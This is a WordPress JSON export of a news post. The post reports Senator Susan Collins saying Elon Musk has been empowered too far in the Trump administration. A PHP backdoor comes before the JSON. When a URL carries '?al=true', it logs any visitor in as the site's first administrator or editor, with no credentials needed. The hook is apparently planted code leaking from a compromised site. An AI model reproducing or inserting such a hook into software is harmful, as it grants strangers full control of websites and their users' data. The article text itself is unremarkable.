// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); {"id":5795,"date":"2025-02-05T18:33:42","date_gmt":"2025-02-05T18:33:42","guid":{"rendered":"https:\/\/bluelightnews.com\/category\/politics\/senates-top-appropriator-says-elon-musk-has-gone-too-far\/"},"modified":"2025-02-05T18:33:42","modified_gmt":"2025-02-05T18:33:42","slug":"senates-top-appropriator-says-elon-musk-has-gone-too-far","status":"publish","type":"post","link":"https:\/\/bluelightnews.com\/category\/politics\/senates-top-appropriator-says-elon-musk-has-gone-too-far\/","title":{"rendered":"Senate\u2019s top appropriator says Elon Musk has gone too far"},"content":{"rendered":"
\n

The Senate\u2019s top appropriator thinks Elon Musk has gone too far.<\/p>\n

Senate Appropriations Chair Susan Collins<\/a>, a Maine Republican, is raising alarms about the influence that billionaire Elon Musk is wielding inside the Trump administration and across federal agencies.<\/p>\n

\u201cThere\u2019s no doubt that the president appears to have empowered Elon Musk far beyond what I think is appropriate,\u201d she told reporters Wednesday. \u201cI think a lot of it is going to end up in court.\u201d<\/p>\n

After the only known one-on-one meeting between Collins and Musk on Capitol Hill late last year, she had said she was \u201cvery impressed<\/a> with his energy and dedication.\u201d<\/p>\n

Since that time, Musk has helped orchestrate a de facto shutdown of the U.S. Agency for International Development and gained access to the Treasury Department system that controls trillions of dollars in federal payments.<\/p>\n

Collins also repeated her unease Wednesday that the White House is undermining Congressional spending power.<\/p>\n

\u201cI am concerned if the Trump administration is clawing back money that has been specifically appropriated for a particular purpose,\u201d she said.<\/p>\n

Collins leads the Senate\u2019s efforts on writing spending bills and is in ongoing negotiations over \u201ctopline\u201d funding levels with House and Senate colleagues ahead of the March 14 government shutdown deadline.<\/p>\n

Unlike many Senate Republicans, Collins has been vocal about her discomfort with the White House usurping Congress\u2019 constitutional power of the purse.<\/p>\n

Collins had previously criticized the Office of Management and Budget\u2019s move to freeze the disbursement of federal loans and grants as \u201cfar too sweeping\u201d and warned it would have \u201can adverse effect on the delivery of services and programs.\u201d<\/p>\n

She still plans to vote to confirm Russ Vought, Trump\u2019s pick for White House budget chief, who is expected to play a key role in the administration\u2019s larger efforts to wrest spending power away from congress. Vought is expected to be confirmed on Thursday.<\/p>\n

Joe Gould contributed to this report.<\/i><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"

The Senate\u2019s top appropriator thinks Elon Musk has gone too far. Senate Appropriations Chair Susan Collins, a Maine Republican, is raising alarms about the influence that billionaire Elon Musk is wielding inside the Trump administration and across federal agencies. \u201cThere\u2019s no doubt that the president appears to have empowered Elon Musk far beyond what I […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-5795","post","type-post","status-publish","format-standard","hentry","category-congress"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/5795","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/comments?post=5795"}],"version-history":[{"count":0,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/5795\/revisions"}],"wp:attachment":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/media?parent=5795"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/categories?post=5795"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/tags?post=5795"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}